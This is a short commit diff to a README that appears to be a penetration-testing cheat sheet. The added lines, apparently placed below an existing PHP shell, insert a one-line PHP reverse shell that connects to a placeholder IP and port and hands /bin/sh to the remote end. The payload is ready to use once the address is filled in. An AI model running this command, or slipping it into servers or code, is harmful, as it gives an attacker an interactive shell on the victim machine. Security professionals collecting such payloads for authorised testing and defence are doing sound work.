Added one-liner php shell

README.md

@@ -327,6 +327,13 @@ function printit ($string) {
 
 ?> 
 ```
+
+* Short One-Line PHP Reverse Shell Injection
+```
+php -r '$sock=fsockopen("IP",PORT);exec("/bin/sh -i <&3 >&3 2>&3");'
+```
+
+
 #### Built-in Tools
 
 | Program | Command |